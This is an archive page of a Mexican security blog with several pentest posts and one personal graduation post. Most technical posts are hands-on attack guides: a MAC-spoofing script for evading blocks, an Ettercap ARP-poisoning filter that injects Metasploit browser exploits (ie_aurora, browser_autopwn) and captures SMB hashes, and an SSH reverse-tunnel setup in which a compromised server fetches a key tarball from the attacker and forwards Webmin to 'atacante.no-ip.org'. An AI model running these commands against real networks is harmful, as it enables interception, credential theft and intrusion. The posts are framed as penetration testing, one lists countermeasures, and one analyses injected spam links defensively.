Excelent wordlist generator ba…

Excelent wordlist generator based on Internet searches! http://www.awlg.org/index.gen You can combine it with Hydra. Give it a try!

Share
Posted in HackTwitts | Tagged | 2 Comments

Fast MAC Address Changer in Linux

When you are making a pentest sometimes you need to be sneaky and have some tricks in your arsenal to cloak yourself in the network. But some sysadmins are skillfull in their incident response and, sometimes (not many in my experience) they found you and try to block your access creating some ACLs for the IP you are using, maybe for your MAC Address.

This script runs on linux and helps you changing your MAC Address in a blink of an eye, this is how it works: you invoke the command and automatically see if you are root, if not it sudo itself to get the needed priviledges, generates a new random mac and installs it in the interface.

-=:)> changemacrandom.sh  

For example:

-=:)> changemacrandom.sh eth0
Only root can do that! sudoing...
eth0      Link encap:Ethernet  HWaddr 00:15:c5:3d:e9:82  
Interface eth0 has new mac:
eth0      Link encap:Ethernet  HWaddr 70:e7:84:ca:b2:c5  
Restart dhcp client to get a new IP. 

The code is really simple:

#!/bin/bash
# Script by Adrian Puente Z. apuente _AT_ hackarandas _dot_ com
# Powered by Hackarandas www.hackarandas.com
# Licensed by GNU GPLv3
# http://www.gnu.org/licenses/gpl-3.0.txt


[ $# -eq 0 ] && echo  "Sintax: `basename $0` " && exit 0

[ `id -u` -ne 0 ] && echo "Only root can do that! sudoing..." 
if [ "$EUID" != 0 ]; then sudo `which $0` $1; exit; fi

INT=$1

function gennewmac
{
hexdump  /dev/urandom | head -3 |\
	 cut -d' ' -f2 | while read -n 2 i
			 do echo -n $i:
			 done | sed 's/::/:/g;s/:$//g'
}

if  ifconfig ${INT} 2> /dev/null 2>&1 | head -1 
then
	NEWMAC=`gennewmac`
	sleep 3
	if  ifconfig ${INT} down hw ether ${NEWMAC} 2>/dev/null
	then
		echo Interface ${INT} has new mac: 
		ifconfig ${INT} 2> /dev/null 2>&1 | head -1
		ifconfig ${INT} up
		echo Restart dhcp client to get a new IP.
	else
		echo "Error changing MAC to ${NEWMAC}!"
		echo "Try again with the same command."
		exit 1
	fi
else
	echo "Interface ${INT} doesn't exists!"
	exit 1
fi
exit 0 

You can download the script or check other projects i’ve made.

So that’s it. Leave your comments please and happy hacking!

Adrián Puente Z.

, , , , , ,

Share
Posted in Code, Hacking, Security | Tagged , , , , | Leave a comment

Excellent history about Linux bo…

Excellent history about Linux box’s rootkit analysis http://www.void.gr/kargig/blog/2009/08/21/theres-a-rootkit-in-the-closet. RSS the blog.

Share
Posted in HackTwitts | Tagged | Leave a comment

Haiku H4x0r: nop nop nop, nop …

Haiku H4x0r: nop nop nop, nop nop nop nop shellcode, pointer to shellcode. (Escuchado en el podcast de @pauldotcom) Me hizo reir mucho.

Share
Posted in HackTwitts | Leave a comment

Ettercap + Metasploit – Helping the Aurora Attack


I found a nice trick from Fulfor based in another trick from Iron Geek that I applied in a Pentest using the magical HD Moore’s Metasploit and his browser_autopwn module and now I am adding the Aurora IE new Metasploit module.

This trick has 3 parts:

The Ettercap Filter

Based on the Irongeek’s Fun with Ettercap Filters and Bob’s Fulfor article I am creating the next ettercap filter:

 # Just copy and paste in you terminal.
cat > ch0ks.browser_autopwn.attack.filter << __END
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-gnidocnE"); 
	  # note: replacement string is same length as original string
      msg("Encoding Taken Care Of...\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("head>", "head>  ");
replace("body>", "body>  ");
msg("Replacement Filter Ran.\n");
}

__END

The IP string 192.168.123.3:80 is the IP with the port where I have the browser_autopwn module wating for the connection and I am using the head and body tag because I want my attack to be the first thing they load. Now we compile the code:

etterfilter -o ch0ks.browser_autopwn.attack.ef ch0ks.browser_autopwn.attack.filter

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA


 12 protocol tables loaded:
	DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth 

 11 constants loaded:
	VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP 

 Parsing source file 'ch0ks.browser_autopwn.attack.filter'  done.

 Unfolding the meta-tree  done.

 Converting labels to real offsets  done.

 Writing output to 'ch0ks.browser_autopwn.attack.ef'  done.

 -> Script encoded into 16 instructions.

Now we start the ettercap making the ARP Poisoning attack and injecting the HTML code:

ettercap -P smb_down -i eth0 -l logfile-`date +%F-%s` -m msgfile-`date +%F-%s` -T  -M arp:remote -F ch0ks.browser_autopwn.attack.ef  /192.168.123.39,42,33,106,154/ /192.168.123.1/

The commands is running ettercap with the smb_down plugin that forces the connection to be a LM authentication, so it searches for the \\192.168.5.45\share\pixel.gif file that will be waiting the metasploit auxiliary/server/capture/smb module and will be logging the hashes. Also the Ettercap will be logging everything in the logfile and msgfile and making an ARP Poisoning between the first IPs in // and the second, I really recommend to use a little number of IPs and the Gateway to avoid making a DoS on the network. The -F is the parameter will load our brand new filter that will inject on the fly HTML code in the traffic between the victims, that’s why is important to use the gateway.

No we have to start our Metasploit attack. This is not new, I took the idea from Bob’s Fulfor article. I just gonna update it to work with the Metasploit Framework 3 and add it the browser_autopwn or the aurora attack.

In the moment I am writting this article I am using the metasploit v3.3.4-dev [core:3.3 api:1.0].

 
#    # ###### #####   ##    ####  #####  #       ####  # ##### 
##  ## #        #    #  #  #      #    # #      #    # #   #   
# ## # #####    #   #    #  ####  #    # #      #    # #   #   
#    # #        #   ######      # #####  #      #    # #   #   
#    # #        #   #    # #    # #      #      #    # #   #   
#    # ######   #   #    #  ####  #      ######  ####  #   #   



       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 324 exploits - 105 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
       =[ svn r8286 updated today (2010.01.28)

msf > 

For the next modules you need to work with the root account because you need to open priviledges ports like 80, 135 and 445 for the attack to work. I am using Ubuntu Linux Karmic Koala, but you can use the Backtrack Project for this attack.

NTLM or LM Interception.

We start the attack.

sudo msfconsole 
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set  LOGFILE Metasploit139.log
LOGFILE => Metasploit139.log
msf auxiliary(smb) > set  PWFILE Metasploit139.pwd 
PWFILE => Metasploit139.pwd
msf auxiliary(smb) > run
[*] Auxiliary module execution completed
[*] Server started.

msf auxiliary(smb) > set  LOGFILE Metasploit445.log            
LOGFILE => Metasploit445.log
msf auxiliary(smb) > set  PWFILE Metasploit445.pwd 
PWFILE => Metasploit445.pwd
msf auxiliary(smb) > set SRVPORT 445 
SRVPORT => 445
msf auxiliary(smb) > run
[*] Auxiliary module execution completed
[*] Server started.
msf auxiliary(smb) > 

I am running the service on both 139 and 445 because in my experience it improves the chances to catch an authentication hash. Now we have to wait and with some luck you sould see something like:

[*] Received 192.168.0.103:2281 MYDOMAIN\LAMEUSER LMHASH:7c83b9be93e202a4be355b75e982144b59bb9f836ec26200 NTHASH:9fc0fba25cb2817441a0ca8c003a4b68da83ef9e72514b2e OS:Windows 2002 2600 Service Pack 1 LM:Windows 2002 5.1

This is good but you can’t just use that hash to authenticate so you have to crack it using the idea from carnal0wnage’s blog article: Using the Metasploit SMB Sniffer Module NOTE: The tool halflm_second.rb is in the tools directory inside the Metsploit directory.

Attacking the Browser directly

Now we have to start the browser_autopwn

msf auxiliary(smb) > use windows/browser/ie_aurora     
msf exploit(ie_aurora) > set SRVPORT 80   
SRVPORT => 80
msf exploit(ie_aurora) > set URIPATH /    
URIPATH => /
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/bind_tcp 
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ie_aurora) > show options 

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST                      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ie_aurora) > exploit 
[*] Exploit running as background job.
msf exploit(ie_aurora) > 
[*] Started bind handler
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.123.3:80/
[*] Server started.

That’s it now you have to wait so a browser bite the bait and get a meterpreter console. This was about the Aurora new Metasploit’s module because is the new trend of the night but let’s face it, it is just part of the big world of the browser attacks. So if you are just lazy you can use the browser_autopwn module:

msf auxiliary(browser_autopwn) > db_driver  sqlite3                
[*] Using database driver sqlite3
msf > use server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.168.123.3
LHOST => 192.168.123.3
msf auxiliary(browser_autopwn) > set SRVPORT 80  
SRVPORT => 80
msf auxiliary(browser_autopwn) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn) > show options  

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   LHOST       192.168.123.3    yes       The IP address to use for reverse-connect payloads
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)
msf auxiliary(browser_autopwn) > run
[*] Auxiliary module execution completed
[*] Starting exploit modules on host 192.168.123.3...
[*] ---

[*] Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:80/IC0F7kIlYh
[*]  Local IP: http://192.168.123.3:80/IC0F7kIlYh
[*] Server started.
...
[*] Starting the payload handler...
[*] Started reverse handler on port 6666
[*] Starting the payload handler...

[*] --- Done, found 15 exploit modules

[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.123.3:80/
[*] Server started.

That’s it now you have to wait so a browser bite the bait and get a shell inside the computer with the user priviledges that is running the browser.

Happy Pentesting

Adrián Puente Z.

Technorati Tags:
; ; ; ; ; ; ; ; ; ; ; ; ; ; Tag generator

Share
Posted in Articles, Hacking, Security | Tagged , , , , , , , , , , | 6 Comments

Wireshark Verdaderamente Portable

Truly Portable Wireshark
Wireshark Verdaderamente Portable Translate this page to english

Una de las vulnerabilidades graves que siempre encontramos en las empresas durante las pruebas de penetración es el uso de protocolos inseguros como el Telnet, FTP y HTTP cuyo tráfico viaja en texto claro que puede ser fácilmente reensamblado e interpretado y de ahí obtener usuarios y contraseñas de otros aqctivos en la red como el Dominio de Windows, el ERP o el CRM.

Una vez que hemos tomado control del Dominio de Windows empezamos a acceder otros activos en segmentos críticos como la red donde se hallan los administradores de los diferentes sistemas; y así, procurarnos unas horas de capturas del tráfico de esa red esperando encontrar credenciales dentro de los protocolos inseguros que aún se emplean.

Uno de los problemas que se nos presentaba era que este procedimiento era intrusivo pues el Wireshark requiere de las librerías de Winpcap en el equipo donde lo queremos correr y esto no es aceptable en nuestros procedimientos pues comúnmente no queremos dejar rastros en los equipos tomados.

Buscando en la red hallé una versión portable del mismo pero tenía el mismo problema: Instalaba el Winpcap y lo desinstalaba al terminar, siendo el mismo problema.

Luis “El Hellboy” Brauer y yo nos pusimosa investigar como corregir este problema y hallamos en varios foros (cuyas URLs perdí, lo siento) varios detalles sobre el funcionamiento de las librerias del Winpcap y así buscar procedimiento para darle vuelta.

Tengo el gusto de compartirles nuestro desarrollo y esperamos que les sea útil, aunque su descarga está prohibida a aquellos que deseén usarlo para redes ajenas a su administración.

Instrucciones:

Descarga el archivo aqui y descomprímelo en alguna raiz ya sea en C:\ o en una unidad de almacenamiento USB. Se ejecuta el arrancador que dará de alta las variables de entorno pertinentes y copiará un archivo en la unidad de %SystemRoot% y al terminar lo borrará sin dejar rastros. Terminada la captura solo hay que cerrar el programa y borrar la carpeta.

Yo recomiendo que se capturen varias horas en archivos no mayores a 200 MB y antes de esto verificar que hay espacio suficiente en la unidad donde guardemos la captura, ¿No queremos que se caiga el servidor por nuestra intervención, verdad?

Bueno, es todo, espero lo encuentren útil e interesante. Esperen nuevas herramientas, técnicas y posts y no dejen de darse una vuelta por el repositorio de herramientas de Hackarandas. Prometo no desaparecer ya tanto y dénse una vuelta por Sound2Sin, un blog hermano que empezamos a armar.

Adrian Puente Z.

Technorati Tags: , , , , , , ,

Share
Posted in Hacking, Security | Tagged , , , , | 1 Comment

Blogs Usados para Indexar Sitios de Spam

Blogs Used for Indexing Spam Sites
Pwned! Translate this page to english

Hace no mas de dos semanas, empecé a observar que el blog de un amigo se comportaba de forma extraña: Cuando hacía un post, este se visualizaba bien pero a los dos días desaparecía el contenido y después de otros dos días regresaba. Esto se lo comenté a mi amigo y al analizar el contenido del post pudimos observar que al final concatenaron cientos de links a otros sitios con un estilo que los ocultaba. Algo parecido a esto:


<u style=display:none><a href="http://www.sitiofueradecontexto.com/event/?p=292">http://www.sitiofueradecontexto.com/event/?p=292</a> irssa
<a href="http://www.sitiofueradecontexto.com/event/?p=8306">http://www.sitiofueradecontexto.com/event/?p=8306</a> nmeathgCnApiue
<a href="http://www.sitiofueradecontexto.com/event/?p=216">http://www.sitiofueradecontexto.com/event/?p=216</a> ipNm
<a href="http://www.sitiofueradecontexto.com/event/?p=7207">http://www.sitiofueradecontexto.com/event/?p=7207</a> Peh
----- 300 lineas mas ---
</u>

Lo curioso es que las ligas no se ven dentro del post y al ingresar a una de las ligas encontré lo siguiente:
Sitio apocrifo

Pero si nos vamos a la raiz de la URL vemos un sitio totalmente diferente! Imaginen mi cara mientras sale de mi boca un ¿Qué es lo que está pasando?

Resulta que los spammers están hackeando sitios para meter spam de los diversos temas que ya sabemos. Estoy de acuerdo, esto no es nuevo, pero está empleando una vulnerabilidad en los blogs para meter ligas apócrifas para que google las indexe y sean encontradas. Esto no lo he visto publicado en otro lado, pero si me equivoco, plz, dejen la liga en un comentario para complementar este post.

Para muestra un botón

Si buscamos la URL en google podemos ver lo siguiente:

Spam en Google

Si nos vamos a una de las ligas que nos muestra Google, por ejemplo http://www.15digitalmarketing.co.uk/articles/ podemos ver la siguiente página:

Sitio con código spam insertado en el Post

Si analizamos mas detenidamente el código HTML del sitio podemos ver los siguiente:

Codigo de sitio con código inyectado
http://www.hartoftheapple.com
Cómo vemos, las ligas apuntan a http://www.hartoftheapple.com que es un sitio que no tiene absolutamente nada que ver con la venta de medicinas pero que ha sido comprometido y que está alojando sitios de Spam sin saberlo y a lo mejor hasta de Phishing.

Regresemos al sitio al que se le ha inyectado el código y analicemos un poco mas del código fuente HTML de la primera página y observaremos mas código inyectado pero a otros sitios!

Código inyectado a sitio normal

Código inyectado a sitio normal

Conclusión

Lo métodos de los spammers se han vuelto cada vez mas complejos, desde insertar la publicidad en documentos PDF para brincarse los filtros hasta lo que estoy presentando hoy. Estos usuarios maliciosos del Internet están vulnerando la aplicación WordPress para inyectar su código, pero lo mas interesante es que lo hacen con sumo cuidado para no ser descubiertos. Hace casi diez años, cuando empezaba con mi carrera de informática, se podía ver que el comprometer sitios era vandalismo sin sentido que buscaba el reconocimiento y respeto de sus compañeros de team. Al parecer estos mismos script kiddies han crecido y han hecho de esta carrera delictiva un negocio remunerado y ligado al crimen cibernético, no todos sientan cabeza y se apegan “al sistema”, se dedican a comprometer sitios, crean botnet y cuando menos tiene una una infraestructura sólida para realizar delitos mas fuertes como el robo de identidad y el fraude electrónico.

Si eres un blogger y usas el sistema de WordPress es importante que lo actualices en este momento. Puedes seguir la guía en la siguiente página y te vas a ahorrar varios dolores de cabeza. Muchas veces no es el sistema de wordpress sino los plugins de terceros que instalamos, como le pasó a PHP BB por lo que es importante actualizar estos también.

Si crees que tu sitio ha sido comprometido, las buenas prácticas dictan, parchar el sistema operativo, reinstalar todo desde un respaldo limpio, cambiar todas las contraseñas y restringir el acceso a usuarios sospechosos hasta que se recupere el control. Si eres como muchos que no hacen respaldo (mal muy mal) si es bueno reinstalar el código del portal, y revisar en scripts código malicioso y archivos extraños y/o ocultos, al igual que el cron.

No sé en que acabe esto pero está muy interesante. A estas alturas ya todos los sitios que se analizaron han sido notificados sobre su posible comprometimiento y este post se va derechito al Cert de la UNAM.

Adrián Puente Z.

Technorati Tags: , , , , , , , , , ,

Share
Posted in Experiences and Stories, Hacking, Security | Tagged , , , , , | 2 Comments

Presentación sobre Seguridad en Redes Inalámbricas

Seguridad en Redes InalámbricasYa tiene un buen rato desde que no escribo en mi blog así que con este post inicio el año y me he propuesto escribir al menos 2 veces por mes.

Hoy toca hablar de un tema muy interesante del que he estado investigando ya por bastante tiempo: Seguridad en Redes Inalámbricas. Un tema a mi parecer que a todos nos interesa pues a estas alturas es difícil hallar a una persona que navegue por Internet y que no haya empleado una red inalámbrica, ya sea en su escuela, hogar o trabajo.

Hace ya un tiempo fuí invitado por las representaciones e-T@M a la XXI Semana de Ingenierías del ITAM para dar una conferencia sobre el tema. Aunque el demo no salió muy bien la verdad es que nos divertimos mucho. Hace unos dias, en el área dónde laboro dentro de Sm4rt Security Services, me pidieron que diera una capacitación en este rubro.

La verdad no quiero extenderme mucho en este post porque ya he tocado el tema en otras entradas como Adicciones o Depredador en el Aire donde toco mas el tema del cracking de WEP y WPA. En la siguiente presentación, que puedes descargar desde la sección de  Security Articles, hago una investigación mas a fondo sobre los algoritmos de cifrado que emplea WEP, WPA y WPA2, así cómo sus vulnerabilidades.

Esta presentación ha sido creada para fines educativos de forma que las personas que administren o sean dueños de una red inalámbrica tengan los medios para entender como funciona esta y de la necesidad de configurar sus dispositivos correctamente. Ni yo ni Sm4rt Security Services somos responsable por el mal uso de esta información.

Esta presentación está licenciado bajo Creative Commons: Creative Commons License

* Seguridad en Redes Inalámbricas  – 1.5 MB

Adrián Puente Z.

Tags: Turbo Tagger

Share
Posted in Articles, Security | 1 Comment

SSH Jutsu I – Acercamiento de Puerto

Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el PHP Shell y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).

Después de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se podían hacer ataques:

Escenario

  1. Servidor Web con Linux Fedora Core 3, obviamente con instalación por defecto
  2. Servidor “protegido” por un FW Checkpoint.
    1. Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.
    2. No tiene ACLs de salida del servidor, are you thinking what I am thinking?
  3. Se ha logrado comprometer el servidor
    1. Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el Netcat conectándonos a nuestra máquina desde la máquina vícitma. Total el FW no tiene ACLs que bloqueen la salida de tráfico del servidor.
    2. Tiene un IP Privada del otro lado, así que podemos suponer que están haciendo el port Forwarding al puerto 443.
    3. Tiene el Webmin habilitado >:) pero bloqueado por el FW :'(

Planteamiento

¿Qué sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la DMZ y/o conseguir contraseñas. Ya se sacaron los usuarios con el comando cat /etc/passwd pero los hashes de las contraseñas  no ya que no disponemos de privilegios de root y hacer el viejo truco con Hydra de probar el mismo usuario y contraseñas contra un servicio es inútil por el FW.

¿Cómo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderosísima para la admnistración del servidor pero cuenta con un sin fín de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalación es por default o está sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.

Jutsu

  Creo que habemos pocos que conocemos los oscuros secretos y milenarias técnicas del SSH y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:

Necesitamos tener una cuenta en una máquina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una llave pública de ssh para poder automatizar la autenticación y no perder la shell dentro del servidor:

# Creamos el directorio donde guardaremos la configuracion
mkdir ~/.ssh
# Creamos la llave sin contraseña para que sea mas cómoda de usar
ssh-keygen -t dsa
# Nos crea dos archivos que son la llave pública y la privada
id_dsa id_dsa.pub
# Renombramos la pública para poder usarla como autenticación
mv id_dsa.pub authorized_keys

Ahora creamos el siguiente archivo config:

Host atacante
# La IP o nombre de dominio que estamos usando
Hostname atacante.no-ip.org
RemoteForward 10000 127.0.0.1:10000
# Puerto que tengamos abierto y con el servicio de SSH corriendo
Port 1025
# El usuario que hallamos creado
User tunel
BatchMode yes
Compression yes
# La llave privada que no debe contener contraseña y nos dará acceso al usuario tunel
IdentityFile /tmp/.ssh/id_dsa
CompressionLevel 9
# Con esto nos saltamos el que nos pregunte que si añade la llave rsa al archivo.
StrictHostKeyChecking no
PubkeyAuthentication yes
UserKnownHostsFile /tmp/.ssh/known_hosts

Ahora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta woof.

# En el lado del atacante
woof -p [PuertoAlcanzable] -i [IP] ~/.ssh

# En el lado de la victima
cd /tmp
wget [URL Cambiando la IP por la IP pública] -O - | tar zxvf -
cd .ssh
chmod 0600 *
ssh-agent bash
ssh-add
ssh -fNF config atacante

Recuerda que si estas detrás de un dispositivo que haga NAT debes hacer reenvío de puerto de forma que podamos alcanzar la máquina del atacante desde la máquina víctima y que el URL que le ingresaremos en el wget no es la IP privada sino la IP pública que tiene nuestro router. Los que tenemos cableacces estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP Pública XD.

Y si todo sale bien nos devolverá la línea de comando y veremos un proceso parecido al este:

ps ax | grep -i ssh
28659 ? Ss 0:30 ssh -fNF config atacante

Bien, ahora desde la máquina del atacante deberemos ver unos puertos parecidos a esto:

sudo netstat -ptuna | grep -i listen
tcp 0 0 127.0.0.1:10000 0.0.0.0:* LISTEN -

Perfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administración del Webmin desde el navegador usando la siguiente URL: https://localhost:10000.

Nos vamos a la siguiente página y descargamos el exploit:

http://securitydot.net/xpl/exploits/vulnerabilities/articles/1164/exploit.html en Perl
http://www.milw0rm.com/exploits/1997 en PHP

Contramedidas

  1. No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producción.
  2. Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la máquina así la administración del FW queda en tus manos y no dependes de un tercero que no sabes que políticas maneja. APF es mi recomendación.
  3. En los ACLs del firewall es buena idea bloquear cual tráfico que salga del servidor que no sea de tipo ESTABLISHED o que vaya única y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualización local como el WSUS para Haselfroch.
  4. Siempre, y repito, siempre has un hardeneo de tus servidores de producción, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por túneles de SSH.
  5. Mantén un procedimiento para verificar la integridad de tus servidores como Tripwire.
  6. Mantén una política de contraseñas complejas en tus usuarios, así, aúnque consigan los hashes de la contraseñas el romperlas puede llegar a ser virtualmente imposible.
  7. Mantén actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como GFI Languard y Nessus.

Aún siguiendo estos pasos no puedes ganrantizar que estará seguro tu servidor, siempre habrá una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas prácticas de administración de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.

Adrián Puente Z.
Blogged with the Flock Browser

Tags: , , , , ,

Share
Posted in Articles, Security | 1 Comment

Libertaaad!!! o al menos ya huelo a graduado….

Libertad!!! Pues si, aquellos que dudaron se pueden tragar sus palabras! El lunes 19 de mayo del 2008 tuve mi último examen final de mi última materia de la carrera y simplemente no me ha caído el veinte. Me ha costado un huevo y aún no lo acabo de digerir, me he graduado. Sí, me he tardado mas que muchos pero tengo la satisfacción de que esta fue mi carrera, sí mía, pues cada peso que me costó salió de cada gota de sudor que emanó de mi frente, cada calificación aprobatoria o no, ha sido mia. Vaya reconozco que han habido dos factores inmensos para conseguir esta meta: Mi madre, esa mujer admirable que hizo lo necesario para darme una educación privilegiada, no tendría la cara para no terminar la carrera y  Joaquín Patrón, un hombre que admiro demasiado y que sin él no hubiera podido iniciar esta aventura pues fue quien me extendió la mano y con una sonrisa mirándome a los ojos me dijo “Adrián, creo en ti y sé que vas a ser grande” y me ayudó con un año de carrera.

Durante este trayecto la gente adecuada apareció en mi vida. Gente como Zita y Alejandro que han sido unos padres sustitutos excelsos, la Chica Moreno, un ángel que Dios me mandó para darme siempre esperanza, Débora Rángel que gracias a su ética profesional y su intervención me mantuvo, sino cuerdo, no tan loco vovléndose una luz en ese camino oscuro en el que estuve metido un buen rato.

No podemos dejar atrás a gente tan importante como: Cachabeto que me enseñó la ligereza de la vida, Rodoom que me mostró la integridad del creer en algo y llevarlo a su máxima expresión, Shendira Reyes cuyas frases como “Recuerda lo que dijo Séneca* me llenaron mas de una vez de claridad en mi momento mas confuso, Alejandro Cacho, el único ser que podría llamar “hermano mayor” y siempre ha tenido mucho para enseñarme. No olvidemos a aquel grupo de paracaidístas que aparecieron un día en mi cubículo para no irse por casi 3 años: Pitufo, de corazón calmado que siempre pudo colocarme en mi lugar cuando cuando estaba por tomar una decisión con el estómago, Wera del que he aprendido que la vida es de los intrépidos y se come a mordidas grandes y nunca con cubiertos. Poison, que me ha enseñado que se se debe vivir divertido, con nobleza y lealtad, BigDaddy, que me ha enseñado que la visión a futuro siempre puede ir acompañada de una sonrisa. Fonseca, ese hombre que me ha demostrado que el trabajo duro y bien hecho simpre trae sus recompensas, Benito, que siempre ve el vaso medio lleno y puede convencerte de que ello. Israel que me enseñó que uno siempre puede cambiar y siempre hay un rayito de sol para cada uno, Jess, una de las mujeres mas chingonas que conozco, Omigoto, que siempre ha tenido una anéctoda que me sorprenda, Gerardo Alvarez, uno de los g33ks mas brillantes que me he topado, Carlos Manjarrez que me demuestra que para los negocios se puede tener cerebro y músculo, Sonia, una de las almas mas libres e inspiradoras que conozco, Sofía, un huracán imparable cuando de alcanzar metas se trata, gente con una gran genialidad como Alejandra Escobar, Martha Escárcega, Alejandro Cornejo y Angel Almada, exponentes máximos de la frase “el que quiere puede y los límites están en uno mismo”.

Entre los mas viejos que puedo nombrar en mi vida está mi hermano Orlando que siempre ha tenido el otro remo en este barquito que compartimos, Vanessa, mi prima, que se ha vuelto una fuente interminable de motivación y Fabiola, mi novia, que si existiera algo así como alma gemela ella tendría que ser la mía.

¿Que cómo fue estudiar en el ITAM? Fue horrible, frustrante y enagenante oseáse: ESPANTOSO pero gracias a ese trol gigante  pude medirme, conocer mi temple y saber hasta dónde puedo llegar cuando me lo propongo. Pocos profesores puedo recordar con cariño y decir que hicieron una diferencia en mi vida: Ana Lidia Franzoni, Carlos Zozaya, Armando Maldonado, Rafael Gamboa, José Incera, Uciel Fragoso, Alfredo Villafranca y Silvia Guardati. Gracias a cada uno por su dedicación en mi formación.

En fin, ya me gradué, me falta la titulación pero ello es sólo trámite. Sobre lo malo, ese lo olvido y me quedo con esos “casi 3 años” en el cubículo de Salas de Servidores, con la compañía, los debrayes, los sueños y las risas. Lo demás ya no tiene relevancia.

Adrian Puente Z.

* Cuando mi madre falleció la vida para mi era un monstruo gigantezco que apenas podía mantener a raya, Shen tuvo bien a citar una lectura académica “Dios te manda los retos porque te ama y sabe que los puedes enfrentar, si no te amara simplemente te despreciaría y te daría una vida tan sencilla que no valdría la pena vivirla” Obviamente por el contexto que estaba viviendo casi le miento la madre pero poco a poco he ido entendiendo la expresión y el porqué me lo dijo en ese momento.

Blogged with the Flock Browser

Tags:

Share
Posted in Experiences and Stories | 7 Comments